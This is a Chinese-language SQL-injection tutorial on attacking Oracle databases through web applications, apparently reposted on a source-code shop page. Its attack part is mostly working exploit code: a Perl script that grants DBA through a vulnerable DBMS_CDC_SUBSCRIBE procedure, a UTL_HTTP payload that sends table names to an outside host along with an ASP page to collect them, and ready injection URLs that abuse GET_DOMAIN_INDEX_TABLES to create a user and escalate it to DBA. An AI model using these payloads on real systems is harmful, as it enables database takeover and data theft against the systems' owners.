源码网商城,靠谱的源码在线交易网站 我的订单 购物车 帮助

源码网商城

ART OF WEB-SQL-INJECTION第2卷 ORACLE篇

  • 时间:2022-08-04 15:00 编辑: 来源: 阅读:
  • 扫一扫,手机访问
摘要:ART OF WEB-SQL-INJECTION第2卷 ORACLE篇
文章作者:kj021320 信息来源:邪恶八进制信息安全团队(www.eviloctal.com) 注意:本文章首发I.S.T.O技术团队,后由原创作者友情提交到邪恶八进制信息安全团队论坛。 author : kj021320 team: I.S.T.O 很多人都说什么ASP PHP JSP注射 其实注射最直接是跟数据库有关!然而那些脚本只是一种辅助 例如ASP/ASPX JSP 啥限制都没!而PHP则会把' 过滤为\' 但是若然不是MYSQL POSTGRESQL SQLITE的话这个功能就废了! 但是我觉得这些脚本语言都不狠~如果CFM的话 估计你就没折了! 具体各数据库相关信息请参看 ART OF WEB-SQL-INJECTION第1卷 感谢AMXSA以及I.C.E多我的支持 OK言归正传,在国外对ORACLE的攻击一直很收关注,只是国内研究的人不太多,或者技术不够~这里我就打响第一炮吧! SQLINJECTION 都是要看数据库的SQL解析引擎的 ,ORACLE这个就不支持多语句执行了! 大家要是用PLSQL那些工具可以用; 来执行多个语句 ! 那是因为工具上面帮你做了多个语句分别提交 ORACLE注射在国外提出了好些攻击方式,但是能够web sql injection利用的没多少! 在早期ngs 和 ARGENISS 都相对提出了 FUNCTION/PROCEDURE 的注入方式! 也就是用户自己定义的一些函数或者存储过程会存储SQL-INJECTION 我拿一个MSSQL的函数作为例子 create function ISTO_KJ021320(@sql varchar(100)) RETURNS int begin exec('SELECT * FROM KJ021320 WHERE NAME='''+ @sql +''''); end 以上这样的方式无疑@sql这个参数没有过滤 存在SQL注入了! 同样在ORACLE中这样的方式特别出众,首先从用户定义的函数到系统函数 系统包里面的函数一般都是操作一些系统表!普通用户是无办法查取的 但是调用这些系统函数就可以获取相应的信息~ 很容易理解ORACLE权限管理的机制 用户--->调用函数(继承函数创建者的权限)--->执行操作 那么我们只需要做的是改函数里面的操作 进行添加用户,建DBA等... milw0rm securityfocus 红色数据库安全 ...公布的方法都是很简单的说给了应用而没有说明道理~ 那就由我代劳翻印讲解一下吧~ 例如以下的官方公布的是 DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION 这个包的这个函数存储INJECTION OK 在 milw0rm上面公布的 exploit 是一段PERL写的代码 use warnings; use strict; use DBI; use Getopt::Std; use vars qw/ %opt /; sub usage {     print <<"USAGE"; Syntax: $0 -h <host> -s <sid> -u <user> -p <passwd> -g|-r [-P <port>] Options:     -h    <host>    target server address     -s    <sid>      target sid name     -u    <user>    user     -p    <passwd>  password      -g|-r            (g)rant dba to user | (r)evoke dba from user     [-P    <port>    Oracle port] USAGE     exit 0 } my $opt_string = 'h:s:u:p:grP:'; getopts($opt_string, \%opt) or &usage; &usage if ( !$opt{h} or !$opt{s} or !$opt{u} or !$opt{p} ); &usage if ( !$opt{g} and !$opt{r} ); my $user = uc $opt{u}; my $dbh = undef; if ($opt{P}) {     $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s};port=$opt{P}", $opt{u}, $opt{p}) or die; } else {     $dbh = DBI->connect("dbi:Oracle:host=$opt{h};sid=$opt{s}", $opt{u}, $opt{p}) or die; } my $sqlcmd = "GRANT DBA TO $user"; print "[-] Wait...\n"; if ($opt{r}) {     print "[-] Revoking DBA from $user...\n";     $sqlcmd = "REVOKE DBA FROM $user";     $dbh->do( $sqlcmd );     print "[-] Done!\n";     $dbh->disconnect;     exit; } print "[-] Creating evil function...\n"; $dbh->do( qq{ CREATE OR REPLACE FUNCTION OWN RETURN NUMBER  AUTHID CURRENT_USER AS  PRAGMA AUTONOMOUS_TRANSACTION;  BEGIN EXECUTE IMMEDIATE '$sqlcmd'; COMMIT;  RETURN(0); END; } ); print "[-] Go ...(don't worry about errors)!\n"; my $sth = $dbh->prepare(qq{ BEGIN SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION('''||$user.own||'''); END; }); $sth->execute; $sth->finish; print "[-] YOU GOT THE POWAH!!\n"; $dbh->disconnect; exit; ------- 以上 的方法其实就是 首先自己要建立一个函数叫 OWN 里面的操作就是 GRANT DBA TO $user  把DBA权限授予某个用户! 然后到有存在注入的存储过程中 SYS.DBMS_CDC_SUBSCRIBE.ACTIVATE_SUBSCRIPTION( 放入OWN函数  ); 因为 ACTIVATE_SUBSCRIPTION方法存在注射 所以会直接执行 own函数 去添加一个权限 这里演示的是 需要先建立一个函数的!但是我们WEB SQL INJ的时候不能写多个SQL来建个函数啊! 有什么方法? ACTIVATE_SUBSCRIPTION存在注射 当然也可以把后面的语句屏蔽了!跟我们WEB SQL INJ差不多 具体怎么知道应该怎样检测挖掘ORACLE的函数注入,下次我会写篇<<检测函数注入in ORACLE>>的文章 以上原理介绍完了 开始实战! 记得 很多文章说要是SQL语句这样子写 sqlstr="begin select * from kj021320 where name=$name;end;"; 可以执行多语句!其实这个是废话!现在写代码的哪个会这样~一般都直接操作SQL了 sqlstr="select * from kj021320 where name=$name"; 所以在,ORACLE WEB中SQL注射只能使用函数,存储过程不能使用!具体为什么自己去看看文档 在web 存在一个注射点 http://127.0.0.1:8080/VOA/test.jsp?id=282  数字型的 那么我们首先来确认这个用户的权限 http://127.0.0.1:8080/VOA/test.jsp?id=282 and exists(select * from dba_tables) 在这里一个小细节 讲讲ORACLE的系统表部分 DBA开头的 只有DBA权限的用户才能访问例如 DBA_USERS DBA_TABLES 而一般用户都能查询 user_tables 跟 all_tables这两个系统表 前者是本用户自己的表! 后者是自己的表以及人家授权给你查询的表! 一般注射软件只需要查询这两个表就可以获取用户的表结构了 回到上面的注射一般都会返回false的! 没关系其实有函数注射 权限对我们来说不重要~ 那现在怎么确认ORACLE主机的位置呢? 也就是说他的IP跟WEB是不是同一个机器 那么我们采用 UTL_HTTP 这个包里面的 request函数 例子: SELECT UTL_HTTP.request('http://www.isto.cn/getdata.asp?data='||TABLE_NAME) FROM USER_TABLES WHERE ROWNUM<=1 他会把数据当作URL请求发送出去!具体大型数据库都有远程数据调用的方式 可以参看 ART OF WEB-SQL-INJECTION第1卷 那么我们怎么构造这个注射呢?很简单! http://127.0.0.1:8080/VOA/test.jsp?id=282 and '1'in(SELECT UTL_HTTP.request('http://www.isto.cn/getdata.asp?data='||TABLE_NAME) FROM USER_TABLES) 这样子! 然而我们得构造一个页面接收请求的参数!ASP简单实现 <% if request("data")="" then   response.Write Application("oracle_data") else   dim dataValue   dataValue=request.ServerVariables("REMOTE_HOST") & " data : " & request("data") & "<br>"   if request("clear")<>"" then   Application("oracle_data")=dataValue   else   Application("oracle_data")=Application("oracle_data") & dataValue   end if end if %> 除非他数据库是内网 不然一般我们都可以获取他的IP地址以及数据~ 比猜表还快! 接下来我们可以获取他的IP 然后扫他的ORA端口 SID可以通过SELECT查询获取 或者用tnscmd检测! 节下来我就直接一点了! 拿出 06年国外公布的一个ODAY GET_DOMAIN_INDEX_TABLES 但是国外好象没给出更多的利用信息 就是这样而已,看当时的说明 CREATE OR REPLACE PACKAGE MYBADPACKAGE AUTHID CURRENT_USER IS FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3  VARCHAR2,p4 VARCHAR2,env SYS.odcienv) RETURN NUMBER; END; / CREATE OR REPLACE PACKAGE BODY MYBADPACKAGE IS FUNCTION ODCIIndexGetMetadata (oindexinfo SYS.odciindexinfo,P3  VARCHAR2,p4 VARCHAR2,env SYS.odcienv) RETURN NUMBER IS pragma autonomous_transaction; BEGIN EXECUTE IMMEDIATE 'GRANT DBA TO HACKER'; COMMIT; RETURN(1); END; END; / DECLARE INDEX_NAME VARCHAR2(200); INDEX_SCHEMA VARCHAR2(200); TYPE_NAME VARCHAR2(200); TYPE_SCHEMA VARCHAR2(200); VERSION VARCHAR2(200); NEWBLOCK PLS_INTEGER; GMFLAGS NUMBER; v_Return VARCHAR2(200); BEGIN INDEX_NAME := 'A1'; INDEX_SCHEMA := 'HACKER'; TYPE_NAME := 'MYBADPACKAGE'; TYPE_SCHEMA := 'HACKER'; VERSION := '10.2.0.2.0'; GMFLAGS := 1; v_Return := SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_METADATA( INDEX_NAME => INDEX_NAME, INDEX_SCHEMA => INDEX_SCHEMA, TYPE_NAME  => TYPE_NAME, TYPE_SCHEMA => TYPE_SCHEMA, VERSION => VERSION, NEWBLOCK =>  NEWBLOCK, GMFLAGS => GMFLAGS ); END; / 具体注射点在第3个参数 我现在不采用函数形式 直接在里面插入SQL语句 SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''CREATE USER KJ021320 IDENTIFIED BY KJ021320'''';END;'';END;--','SYS',0,'1',0) 这样就可以建立一个用户了! 我们构造SQL http://127.0.0.1:8080/VOA/test.jsp?id=282 and ''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''CREATE USER KJ021320 IDENTIFIED BY KJ021320'''';END;'';END;--','SYS',0,'1',0)='' 这样提交就会建立一个KJ021320用户 而密码也是KJ021320 可以了建立了用户也不行~~先给这个用户添加连接的权限 http://127.0.0.1:8080/VOA/test.jsp?id=282 and ''||SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''GRANT CONNECT TO KJ021320'''';END;'';END;--','SYS',0,'1',0)='' 再用此方法添加一个DBA权限! 既然你是ORACLE的DBA 那采用什么方法去写本地文件拿shell 方法多的是!别说备份了!PRO*C  SQLJ都可以!接下来留给你们吧! 视频演示http://www.isto.cn/vedio/artwebinj-oracle.rar  PS:之前发了几篇MSSQL的利用都给superhei说有人发表过了!郁闷得很!看来偶不只是孤陋寡闻这么简单!发表时间还是个重点问题!呵呵!现在这篇估计国内暂时还没有人有发过了吧?可以叫自己一声 中国web sql injection in oralce 之父么~哈哈!装A完毕!-_-
  • 全部评论(0)
联系客服
客服电话:
400-000-3129
微信版

扫一扫进微信版
返回顶部